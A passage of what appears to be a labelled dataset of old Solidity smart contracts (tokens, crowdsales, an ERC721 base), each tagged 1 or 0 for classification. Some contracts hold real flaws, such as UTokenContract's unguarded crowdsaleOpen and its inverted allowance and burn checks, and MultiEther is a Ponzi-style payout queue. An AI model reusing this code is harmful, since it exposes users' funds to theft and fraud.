constructor () public owned() TokenERC20() {
balanceOf[msg.sender] = totalSupply;
}
function () payable {
buy();
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
return TokenERC20.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
require(!frozenAccount[msg.sender]);
return TokenERC20.transfer(_to, _value);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setbuyPrice( uint256 newBuyPrice) onlyOwner public {
require(newBuyPrice > 0);
buyPrice = newBuyPrice;
}
function transferPaymentAddress(address newPaymentAddress) onlyOwner public {
require(newPaymentAddress != 0x0);
require(newPaymentAddress != paymentAddress);
paymentAddress = newPaymentAddress;
}
function buy() payable public {
require(msg.value > 0);
require(buyPrice > 0);
paymentAddress.transfer(msg.value);
}
} | 1 | 4,496 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Whitelistable is Ownable {
event LogUserRegistered(address indexed sender, address indexed userAddress);
event LogUserUnregistered(address indexed sender, address indexed userAddress);
mapping(address => bool) public whitelisted;
function registerUser(address userAddress)
public
onlyOwner
{
require(userAddress != 0);
whitelisted[userAddress] = true;
LogUserRegistered(msg.sender, userAddress);
}
function unregisterUser(address userAddress)
public
onlyOwner
{
require(whitelisted[userAddress] == true);
whitelisted[userAddress] = false;
LogUserUnregistered(msg.sender, userAddress);
}
}
contract DisbursementHandler is Ownable {
struct Disbursement {
uint256 timestamp;
uint256 tokens;
}
event LogSetup(address indexed vestor, uint256 tokens, uint256 timestamp);
event LogChangeTimestamp(address indexed vestor, uint256 index, uint256 timestamp);
event LogWithdraw(address indexed to, uint256 value);
ERC20 public token;
mapping(address => Disbursement[]) public disbursements;
mapping(address => uint256) public withdrawnTokens;
function DisbursementHandler(address _token) public {
token = ERC20(_token);
}
function setupDisbursement(
address vestor,
uint256 tokens,
uint256 timestamp
)
public
onlyOwner
{
require(block.timestamp < timestamp);
disbursements[vestor].push(Disbursement(timestamp, tokens));
LogSetup(vestor, timestamp, tokens);
}
function changeTimestamp(
address vestor,
uint256 index,
uint256 timestamp
)
public
onlyOwner
{
require(block.timestamp < timestamp);
require(index < disbursements[vestor].length);
disbursements[vestor][index].timestamp = timestamp;
LogChangeTimestamp(vestor, index, timestamp);
}
function withdraw(address to, uint256 value)
public
{
uint256 maxTokens = calcMaxWithdraw();
uint256 withdrawAmount = value < maxTokens ? value : maxTokens;
withdrawnTokens[msg.sender] = SafeMath.add(withdrawnTokens[msg.sender], withdrawAmount);
token.transfer(to, withdrawAmount);
LogWithdraw(to, value);
}
function calcMaxWithdraw()
public
constant
returns (uint256)
{
uint256 maxTokens = 0;
Disbursement[] storage temp = disbursements[msg.sender];
for (uint256 i = 0; i < temp.length; i++) {
if (block.timestamp > temp[i].timestamp) {
maxTokens = SafeMath.add(maxTokens, temp[i].tokens);
}
}
maxTokens = SafeMath.sub(maxTokens, withdrawnTokens[msg.sender]);
return maxTokens;
}
}
library StateMachineLib {
struct Stage {
bytes32 nextId;
mapping(bytes4 => bool) allowedFunctions;
}
struct State {
bytes32 currentStageId;
function(bytes32) internal onTransition;
mapping(bytes32 => bool) validStage;
mapping(bytes32 => Stage) stages;
}
function setInitialStage(State storage self, bytes32 stageId) internal {
self.validStage[stageId] = true;
self.currentStageId = stageId;
}
function createTransition(State storage self, bytes32 fromId, bytes32 toId) internal {
require(self.validStage[fromId]);
Stage storage from = self.stages[fromId];
if (from.nextId != 0) {
self.validStage[from.nextId] = false;
delete self.stages[from.nextId];
}
from.nextId = toId;
self.validStage[toId] = true;
}
function goToNextStage(State storage self) internal {
Stage storage current = self.stages[self.currentStageId];
require(self.validStage[current.nextId]);
self.currentStageId = current.nextId;
self.onTransition(current.nextId);
}
function checkAllowedFunction(State storage self, bytes4 selector) internal constant returns(bool) {
return self.stages[self.currentStageId].allowedFunctions[selector];
}
function allowFunction(State storage self, bytes32 stageId, bytes4 selector) internal {
require(self.validStage[stageId]);
self.stages[stageId].allowedFunctions[selector] = true;
}
}
contract StateMachine {
using StateMachineLib for StateMachineLib.State;
event LogTransition(bytes32 indexed stageId, uint256 blockNumber);
StateMachineLib.State internal state;
modifier checkAllowed {
conditionalTransitions();
require(state.checkAllowedFunction(msg.sig));
_;
}
function StateMachine() public {
state.onTransition = onTransition;
}
function getCurrentStageId() public view returns(bytes32) {
return state.currentStageId;
}
function conditionalTransitions() public {
bytes32 nextId = state.stages[state.currentStageId].nextId;
while (state.validStage[nextId]) {
StateMachineLib.Stage storage next = state.stages[nextId];
if (startConditions(nextId)) {
state.goToNextStage();
nextId = next.nextId;
} else {
break;
}
}
}
function startConditions(bytes32) internal constant returns(bool) {
return false;
}
function onTransition(bytes32 stageId) internal {
LogTransition(stageId, block.number);
}
}
contract TimedStateMachine is StateMachine {
event LogSetStageStartTime(bytes32 indexed stageId, uint256 startTime);
mapping(bytes32 => uint256) internal startTime;
function startConditions(bytes32 stageId) internal constant returns(bool) {
uint256 start = startTime[stageId];
return start != 0 && block.timestamp > start;
}
function setStageStartTime(bytes32 stageId, uint256 timestamp) internal {
require(state.validStage[stageId]);
require(timestamp > block.timestamp);
startTime[stageId] = timestamp;
LogSetStageStartTime(stageId, timestamp);
}
function getStageStartTime(bytes32 stageId) public view returns(uint256) {
return startTime[stageId];
}
}
contract Sale is Ownable, TimedStateMachine {
using SafeMath for uint256;
event LogContribution(address indexed contributor, uint256 amountSent, uint256 excessRefunded);
event LogTokenAllocation(address indexed contributor, uint256 contribution, uint256 tokens);
event LogDisbursement(address indexed beneficiary, uint256 tokens);
bytes32 public constant SETUP = "setup";
bytes32 public constant SETUP_DONE = "setupDone";
bytes32 public constant SALE_IN_PROGRESS = "saleInProgress";
bytes32 public constant SALE_ENDED = "saleEnded";
mapping(address => uint256) public contributions;
uint256 public weiContributed = 0;
uint256 public contributionCap;
address public wallet;
MintableToken public token;
DisbursementHandler public disbursementHandler;
function Sale(
address _wallet,
uint256 _contributionCap
)
public
{
require(_wallet != 0);
require(_contributionCap != 0);
wallet = _wallet;
token = createTokenContract();
disbursementHandler = new DisbursementHandler(token);
contributionCap = _contributionCap;
setupStages();
}
function() external payable {
contribute();
}
function setSaleStartTime(uint256 timestamp)
external
onlyOwner
checkAllowed
{
setStageStartTime(SALE_IN_PROGRESS, timestamp);
}
function setSaleEndTime(uint256 timestamp)
external
onlyOwner
checkAllowed
{
require(getStageStartTime(SALE_IN_PROGRESS) < timestamp);
setStageStartTime(SALE_ENDED, timestamp);
}
function setupDone()
public
onlyOwner
checkAllowed
{
uint256 _startTime = getStageStartTime(SALE_IN_PROGRESS);
uint256 _endTime = getStageStartTime(SALE_ENDED);
require(block.timestamp < _startTime);
require(_startTime < _endTime);
state.goToNextStage();
}
function contribute()
public
payable
checkAllowed
{
require(msg.value > 0);
uint256 contributionLimit = getContributionLimit(msg.sender);
require(contributionLimit > 0);
uint256 totalContribution = contributions[msg.sender].add(msg.value);
uint256 excess = 0;
if (weiContributed.add(msg.value) > contributionCap) {
excess = weiContributed.add(msg.value).sub(contributionCap);
totalContribution = totalContribution.sub(excess);
}
if (totalContribution > contributionLimit) {
excess = excess.add(totalContribution).sub(contributionLimit);
contributions[msg.sender] = contributionLimit;
} else {
contributions[msg.sender] = totalContribution;
}
require(excess <= msg.value);
weiContributed = weiContributed.add(msg.value).sub(excess);
if (excess > 0) {
msg.sender.transfer(excess);
}
wallet.transfer(this.balance);
assert(contributions[msg.sender] <= contributionLimit);
LogContribution(msg.sender, msg.value, excess);
}
function distributeTimelockedTokens(
address beneficiary,
uint256 tokenAmount,
uint256 timestamp
)
public
onlyOwner
checkAllowed
{
disbursementHandler.setupDisbursement(
beneficiary,
tokenAmount,
timestamp
);
token.mint(disbursementHandler, tokenAmount);
LogDisbursement(beneficiary, tokenAmount);
}
function setupStages() internal {
state.setInitialStage(SETUP);
state.createTransition(SETUP, SETUP_DONE);
state.createTransition(SETUP_DONE, SALE_IN_PROGRESS);
state.createTransition(SALE_IN_PROGRESS, SALE_ENDED);
state.allowFunction(SETUP, this.distributeTimelockedTokens.selector);
state.allowFunction(SETUP, this.setSaleStartTime.selector);
state.allowFunction(SETUP, this.setSaleEndTime.selector);
state.allowFunction(SETUP, this.setupDone.selector);
state.allowFunction(SALE_IN_PROGRESS, this.contribute.selector);
state.allowFunction(SALE_IN_PROGRESS, 0);
}
function createTokenContract() internal returns (MintableToken);
function getContributionLimit(address userAddress) public view returns (uint256);
function startConditions(bytes32 stageId) internal constant returns (bool) {
if (stageId == SALE_ENDED && contributionCap <= weiContributed) {
return true;
}
return super.startConditions(stageId);
}
function onTransition(bytes32 stageId) internal {
if (stageId == SALE_ENDED) {
onSaleEnded();
}
super.onTransition(stageId);
}
function onSaleEnded() internal {}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address _to, uint _value, bytes _data) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint256 indexed _value, bytes _data);
}
contract ERC223BasicToken is ERC223Basic, BasicToken {
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
require(super.transfer(_to, _value));
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
require(transfer(_to, _value, empty));
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract DetherToken is DetailedERC20, MintableToken, ERC223BasicToken {
string constant NAME = "Dether";
string constant SYMBOL = "DTH";
uint8 constant DECIMALS = 18;
function DetherToken()
DetailedERC20(NAME, SYMBOL, DECIMALS)
public
{}
}
contract DetherSale is Sale, Whitelistable {
uint256 public constant PRESALE_WEI = 3956 ether * 1.15 + 490 ether;
uint256 public constant DECIMALS_MULTIPLIER = 1000000000000000000;
uint256 public constant MAX_DTH = 100000000 * DECIMALS_MULTIPLIER;
uint256 public constant WEI_CAP = 10554 ether;
uint256 public constant WHITELISTING_DURATION = 2 days;
uint256 public constant WHITELISTING_MAX_CONTRIBUTION = 5 ether;
uint256 public constant PUBLIC_MAX_CONTRIBUTION = 2**256 - 1;
uint256 public constant MIN_CONTRIBUTION = 0.1 ether;
uint256 public weiPerDTH;
bool private lockedTokensDistributed;
bool private presaleAllocated;
address public presaleAddress;
uint256 private weiAllocated;
mapping(address => uint256) public presaleMaxContribution;
function DetherSale(address _wallet, address _presaleAddress) Sale(_wallet, WEI_CAP) public {
presaleAddress = _presaleAddress;
}
function performInitialAllocations() external onlyOwner checkAllowed {
require(lockedTokensDistributed == false);
lockedTokensDistributed = true;
distributeTimelockedTokens(0x4dc976cEd66d1B87C099B338E1F1388AE657377d, MAX_DTH.mul(3).div(100), now + 6 * 4 weeks);
distributeTimelockedTokens(0xfEF675cC3068Ee798f2312e82B12c841157A0A0E, MAX_DTH.mul(3).div(100), now + 1 weeks);
distributeTimelockedTokens(0x8F38C4ddFE09Bd22545262FE160cf441D43d2489, MAX_DTH.mul(25).div(1000), now + 6 * 4 weeks);
distributeTimelockedTokens(0x87a4eb1c9fdef835DC9197FAff3E09b8007ADe5b, MAX_DTH.mul(25).div(1000), now + 6 * 4 weeks);
distributeTimelockedTokens(0x6f63D5DF2D8644851cBb5F8607C845704C008284, MAX_DTH.mul(11).div(100), now + 1 weeks);
distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 6 * 4 weeks);
distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 2 * 6 * 4 weeks);
distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 3 * 6 * 4 weeks);
distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 4 * 6 * 4 weeks);
distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 5 * 6 * 4 weeks);
distributeTimelockedTokens(0x24c14796f401D77fc401F9c2FA1dF42A136EbF83, MAX_DTH.mul(3).div(100), now + 6 * 6 * 4 weeks);
}
function registerPresaleContributor(address userAddress, uint256 maxContribution)
external
onlyOwner
{
require(maxContribution <= WHITELISTING_MAX_CONTRIBUTION);
registerUser(userAddress);
presaleMaxContribution[userAddress] = maxContribution;
}
function allocateTokens(address contributor)
external
checkAllowed
{
require(presaleAllocated);
require(contributions[contributor] != 0);
weiAllocated = weiAllocated.add(contributions[contributor]);
token.mint(contributor, contributions[contributor].mul(DECIMALS_MULTIPLIER).div(weiPerDTH));
contributions[contributor] = 0;
if (weiAllocated == weiContributed) {
uint256 remaining = MAX_DTH.sub(token.totalSupply());
token.mint(owner, remaining);
token.finishMinting();
}
}
function presaleAllocateTokens()
external
checkAllowed
{
require(!presaleAllocated);
presaleAllocated = true;
token.mint(presaleAddress, PRESALE_WEI.mul(DECIMALS_MULTIPLIER).div(weiPerDTH));
}
function contribute()
public
payable
checkAllowed
{
require(msg.value >= MIN_CONTRIBUTION);
super.contribute();
}
function getContributionLimit(address userAddress) public view returns (uint256) {
uint256 saleStartTime = getStageStartTime(SALE_IN_PROGRESS);
if (!whitelisted[userAddress] || block.timestamp < saleStartTime) {
return 0;
}
bool whitelistingPeriod = block.timestamp - saleStartTime <= WHITELISTING_DURATION;
return whitelistingPeriod ? presaleMaxContribution[userAddress] : PUBLIC_MAX_CONTRIBUTION;
}
function createTokenContract() internal returns(MintableToken) {
return new DetherToken();
}
function setupStages() internal {
super.setupStages();
state.allowFunction(SETUP, this.performInitialAllocations.selector);
state.allowFunction(SALE_ENDED, this.allocateTokens.selector);
state.allowFunction(SALE_ENDED, this.presaleAllocateTokens.selector);
}
function calculatePrice() public view returns(uint256) {
return weiContributed.add(PRESALE_WEI).div(60000000).add(1);
}
function onSaleEnded() internal {
weiPerDTH = calculatePrice();
}
} | 1 | 4,218 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RTcoin {
using SafeMath for uint256;
address public owner;
address public saleAgent;
uint256 public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
bool private allowEmission = true;
mapping (address => uint256) balances;
function RTcoin(string _name, string _symbol, uint8 _decimals) public {
decimals = _decimals;
name = _name;
symbol = _symbol;
owner = msg.sender;
}
function changeSaleAgent(address newSaleAgent) public onlyOwner {
require (newSaleAgent!=address(0));
uint256 tokenAmount = balances[saleAgent];
if (tokenAmount>0) {
balances[newSaleAgent] = balances[newSaleAgent].add(tokenAmount);
balances[saleAgent] = balances[saleAgent].sub(tokenAmount);
Transfer(saleAgent, newSaleAgent, tokenAmount);
}
saleAgent = newSaleAgent;
}
function emission(uint256 amount) public onlyOwner {
require(allowEmission);
require(saleAgent!=address(0));
totalSupply = amount * (uint256(10) ** decimals);
balances[saleAgent] = totalSupply;
Transfer(0x0, saleAgent, totalSupply);
allowEmission = false;
}
function burn(uint256 _value) public {
require(_value > 0);
address burner;
if (msg.sender==owner)
burner = saleAgent;
else
burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event Transfer(
address indexed _from,
address indexed _to,
uint _value
);
}
contract Crowdsale {
using SafeMath for uint256;
address fundsWallet;
RTcoin public token;
address public owner;
bool public open = false;
uint256 public tokenLimit;
uint256 public rate = 20000;
function Crowdsale(address _fundsWallet, address tokenAddress,
uint256 _rate, uint256 _tokenLimit) public {
fundsWallet = _fundsWallet;
token = RTcoin(tokenAddress);
rate = _rate;
owner = msg.sender;
tokenLimit = _tokenLimit * (uint256(10) ** token.decimals());
}
function() external isOpen payable {
require(tokenLimit>0);
fundsWallet.transfer(msg.value);
uint256 tokens = calculateTokenAmount(msg.value);
token.transfer(msg.sender, tokens);
tokenLimit = tokenLimit.sub(tokens);
}
function changeFundAddress(address newAddress) public onlyOwner {
require(newAddress != address(0));
fundsWallet = newAddress;
}
function changeRate(uint256 newRate) public onlyOwner {
require(newRate>0);
rate = newRate;
}
function calculateTokenAmount(uint256 weiAmount) public constant returns(uint256) {
if (token.decimals()!=18){
uint256 tokenAmount = weiAmount.mul(rate).div(uint256(10) ** (18-token.decimals()));
return tokenAmount;
}
else return weiAmount.mul(rate);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function allowSale() public onlyOwner {
open = true;
}
function disallowSale() public onlyOwner {
open = false;
}
modifier isOpen() {
require(open == true);
_;
}
} | 1 | 3,255 |
pragma solidity ^0.4.25;
contract MultiEther {
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
address public support = msg.sender;
uint public amountForSupport;
function () public payable {
require(block.number >= 6661266);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.01 ether && msg.value <= calcMaxDeposit());
require(depositNumber[msg.sender] == 0);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
if (amountForSupport < 10 ether) {
uint fee = msg.value / 5;
amountForSupport += fee;
support.transfer(fee);
}
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = calcMultiplier();
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
function calcMaxDeposit() public view returns (uint) {
if (totalInvested <= 20 ether) {
return 1 ether;
} else if (totalInvested <= 50 ether) {
return 1.2 ether;
} else if (totalInvested <= 100 ether) {
return 1.4 ether;
} else if (totalInvested <= 200 ether) {
return 1.7 ether;
} else {
return 2 ether;
}
}
function calcMultiplier() public view returns (uint) {
if (totalInvested <= 20 ether) {
return 120;
} else if (totalInvested <= 50 ether) {
return 117;
} else if (totalInvested <= 100 ether) {
return 115;
} else if (totalInvested <= 200 ether) {
return 113;
} else {
return 110;
}
}
} | 0 | 202 |
pragma solidity ^0.4.18;
contract Owned {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Owned ()public {
owner = msg.sender;
}
function changeOwner(address _newOwner) onlyOwner public{
owner = _newOwner;
}
}
contract tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData)public;
}
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner)public constant returns (uint256 balance);
function transfer(address _to, uint256 _value)public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)public returns (bool success);
function approve(address _spender, uint256 _value)public returns (bool success);
function allowance(address _owner, address _spender)public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract UTokenContract is ERC20Token, Owned{
string public constant standard = "U Token V1.0";
string public constant name = "U Token";
string public constant symbol = "UT";
uint256 public constant decimals = 6;
uint256 private constant etherChange = 10**18;
uint256 public totalSupply;
uint256 public totalRemainSupply;
uint256 public UTExchangeRate;
bool public crowdsaleIsOpen;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
address public multisigAddress;
event mintToken(address indexed _to, uint256 _value);
event burnToken(address indexed _from, uint256 _value);
function () payable public{
require (crowdsaleIsOpen == true);
require(msg.value != 0);
mintUTToken(msg.sender, (msg.value * UTExchangeRate * 10**decimals) / etherChange);
}
function UTokenContract(uint256 _totalSupply, uint256 __UTExchangeRate)public {
owner = msg.sender;
totalSupply = _totalSupply * 10**decimals;
UTExchangeRate = __UTExchangeRate;
totalRemainSupply = totalSupply;
crowdsaleIsOpen = true;
}
function setUTExchangeRate(uint256 _UTExchangeRate) onlyOwner public{
UTExchangeRate = _UTExchangeRate;
}
function crowdsaleOpen(bool _crowdsaleIsOpen)public {
crowdsaleIsOpen = _crowdsaleIsOpen;
}
function UTTotalSupply()public constant returns (uint256) {
return totalSupply - totalRemainSupply;
}
function balanceOf(address _owner)public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value)public returns (bool success) {
require (balances[msg.sender] > _value);
require (balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)public returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
approve(_spender, _value);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)public returns (bool success) {
require (balances[_from] > _value);
require (balances[_to] + _value > balances[_to]);
require (_value > allowances[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowances[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender)public constant returns (uint256 remaining) {
return allowances[_owner][_spender];
}
function withdraw(address _multisigAddress)public onlyOwner {
require(_multisigAddress != 0x0);
multisigAddress = _multisigAddress;
multisigAddress.transfer(this.balance);
}
function mintUTToken(address _to, uint256 _amount) internal {
require (balances[_to] + _amount > balances[_to]);
require (totalRemainSupply > _amount);
totalRemainSupply -= _amount;
balances[_to] += _amount;
mintToken(_to, _amount);
Transfer(0x0, _to, _amount);
}
function mintTokens(address _sendTo, uint256 _sendAmount)public onlyOwner {
mintUTToken(_sendTo, _sendAmount);
}
function burnTokens(address _addr, uint256 _amount)public onlyOwner {
require (balances[msg.sender] < _amount);
totalRemainSupply += _amount;
balances[_addr] -= _amount;
burnToken(_addr, _amount);
Transfer(_addr, 0x0, _amount);
}
} | 1 | 3,510 |
pragma solidity ^0.4.23;
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
